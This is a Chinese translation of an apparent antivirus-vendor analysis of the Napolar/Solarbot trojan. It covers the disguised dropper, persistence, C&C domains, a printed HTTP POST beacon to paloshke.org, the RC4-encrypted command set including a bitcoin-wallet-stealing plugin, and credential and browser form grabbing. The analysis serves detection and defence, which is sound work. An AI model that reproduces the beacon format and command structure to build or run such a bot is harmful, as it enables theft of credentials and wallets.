在最近几个星期里的AVAST恶意样本分析名单中,Win32/64:Napolar拥有极高的文件和网络屏蔽率。另外,我们发现了被冠以Solarbot名称的新型木马于2013年5月左右开始做出其相关宣传广告,而这种广告并没有发布在大家经常访问的黑客论坛,而是在由主流搜索引擎索引一个叫solarbot.net的网站,它拥有一个非常专业的外观设计。
对于Win32/64:Napolar木马,它的进程间通信管道名称是\\.\pipe\napSolar。再加上存在的类似“CHROME.DLL”、“OPERA.DLL”、“trusteer”、“data_inject”等字符串,以及后面会提到的功能特征,因此我们确定它和Solarbot间存在某种关联。让我们来看看下面的分析。
Dropper
该文件最初以自解压的压缩文件形式存在,以类似Photo_021-WWW.FACEBOOK.COM.exe这样的格式命名,并执行2项工作:静默执行dropper以及展示类似下面的辣妹照片(译者注:马赛克是人类文明进步最大的绊脚石):
作者的声明中宣称Solarbot由Free Pascal的Lazarus IDE所编写,但我们想不出任何专业或者商业性质的木马有此类似特点。从另一个角度来讲,我们不能确定该代码是否用Free Pascal编写的,因为它PE头部的许多信息都不同于一般的用Free Pascal编译的二进制文件。
核心可执行文件的结构如下:
x86初始的部分,同时也用于识别系统的体系结构。而在64位系统中,还有一个通信模块被解压和加载。LDE64(长度反汇编引擎)是一个32位基于BeaEngine下的官方工具,它能够进行32位和64位架构指令解码。对于系统函数的修改来说反汇编工作必不可少(确保成功的挂钩一个定制的或模拟的源代码块)。
如网站广告中提到的,KERNEL32.DLL、NTDLL.DLL、WININET.DLL、SHLWAPI.DLL、PASPI.DLL中的所有重要函数都进行了CRC32哈希处理(CRC32哈希常数表结构地址在0xFF395A)并将其储存在虚拟表单中。与IsDebuggerPresent、OutputDebugString函数相关的反调试技巧也在此有所体现。安装到%AppData\lsass.exe后,在新申请的内存空间0xFE0000处开始运行,之后bot会自行关闭,这意味着它不会在进程列表中被发现。
为了了解被这种木马感染的地区分布情况,我们分析了相关检测部分的运行状况。结果表明,每天至少有几百台计算机被感染,而这个数字相对于全部Solarbot样本来讲数量略多。受到感染影响最严重的区域为中南美的哥伦比亚、委内瑞拉、秘鲁、墨西哥、阿根廷以及亚洲的菲利宾、越南和欧洲的波兰。
通信协议
目前发现的C&C服务器有:xyz25.com、cmeef.info、paloshke.org。而后者注册于臭名昭著的Bizcn.com公司。我们曾在博客中提到的一款虚假修复工具即注册在这家具有欺诈性质的中国注册商下。广告站solarbot.net的注册信息如下:
Domain Name: SOLARBOT.NET
Registrar: NETEARTH ONE INC. D/B/A NETEARTH
Whois Server: whois.advancedregistrar.com
Referral URL: http://www.advancedregistrar.com
Name Server: NS1.BITCOIN-DNS.COM
Name Server: NS2.BITCOIN-DNS.COM
Status: clientTransferProhibited
Updated Date: 01-aug-2013
Creation Date: 01-aug-2013
Expiration Date: 01-aug-2014
注册数据中联系信息被隐藏在PRIVACYPROTECT.ORG后面,它吸引了众多的涉及恶意活动的团体。
获取执行命令的HTTP POST请求如下所示:
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: www.paloshke.org
Content-Length: 81
Pragma: no-cache
v=1.0&u=USER_NAME&c=COMP_NAME&s={7C79CE12-E753-D05E-0DE6-DFBF7B79CE12}&w=2.5.1&b=32
其中s字符表示一个从受害人环境获取的,随之生成的RC4解密密匙,v代表bot的版本,数字1.0表示这个bot的初始开发阶段。
在成功的请求了之后,会得到响应。就像我们所提到的那样,它是由RC4进行加密的,通过POST查询字段发送未加密的正确密钥。响应结构采用以0分割的字符串数组的形式。每个字符串开头使用一个字节来表示指令号码(已观察到15个不同的指令),再加上相应的字符串:在连接延迟(指令0xC)中是秒数(一般为3600);对于下载命令(指令0×12),是文件的URL地址、控制哈希以及一个解密密钥;0×2指令安装额外的文件WalletSteal.bin,一个比特币钱包的偷窃插件。根据bitcoin.org,比特币钱包就相当于比特币网络中的实体钱包,它包含有允许用户在比特币交易中使用的密钥。实际上,这就是之前说的关于插件支持的例子。插件加密放在%AppData中的临时目录SlrPlugin中。
特点
以下特点列表就是在网站上所展示的:
我们已看到FTP和POP3掠夺,反向Socks5或者基础功能模块的实现。有相关的字符串(“SSL”、“http://”、“https://”、web浏览器库的名字、“NSS layer”、“data_start”、“data_inject”、“data_end”)反映了从浏览器发起攻击的可能性。确实,我们发现网络银行论坛的内容以未加密的方法发送到C&C服务器上,但这仅在网站要求信誉或者证书验证时发生。这可能和以下内置的URL列表有关:
https://urs.microsoft.com/urs.asmx
http://safebrowsing.clients.google.com
http://dirpop.naver.com:8088/search.naver
而后通过内部指令0xF进行远程更新。
接下来我们观察到,它下载了一个比特币挖掘机,并将其注入到系统临时目录的记事本文件中进行了执行(对应列表中的“MD5版本更新和系统下载”)。
最后,我们不得不说这个bot所展示的强悍的恶意能力,再加上$200的合理价格,近期很有可能大量涌现。幸运的是,针对此的反病毒软件将会应运而生,使这些网络犯罪种类更加的难以生存。
源代码
挑选的一些样本的SHA256哈希值以及在AVAST引擎的覆盖情况: